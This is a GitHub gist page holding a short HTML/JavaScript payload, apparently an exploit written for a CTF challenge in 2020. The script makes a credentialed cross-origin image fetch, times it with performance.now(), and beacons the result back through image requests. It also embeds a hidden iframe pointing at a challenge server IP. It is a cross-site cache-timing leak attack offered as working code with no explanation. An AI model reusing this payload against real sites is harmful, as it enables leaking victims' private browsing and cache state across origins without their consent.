Skip to content

Instantly share code, notes, and snippets.

@tyage
Created July 12, 2020 08:21
Show Gist options
  • Save tyage/6cedcff95fa3afcb06963dffef57c542 to your computer and use it in GitHub Desktop.
Save tyage/6cedcff95fa3afcb06963dffef57c542 to your computer and use it in GitHub Desktop.
<script>
setTimeout(() => {
(new Image()).src='/start';
var start = performance.now();
fetch("https://www.materialui.co/materialIcons/navigation/close_black_72x72.png", {
mode: "no-cors",
credentials: "include"
}).then((response) => {
var end = performance.now();
(new Image()).src = '/time.html?time=' + (end - start);
}).catch(err => {
(new Image()).src = '/err?' + (err);
});
}, 1200);
</script>
<iframe width=1 height=1 src="http://34.84.161.130:18364/?TSG..."></iframe>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment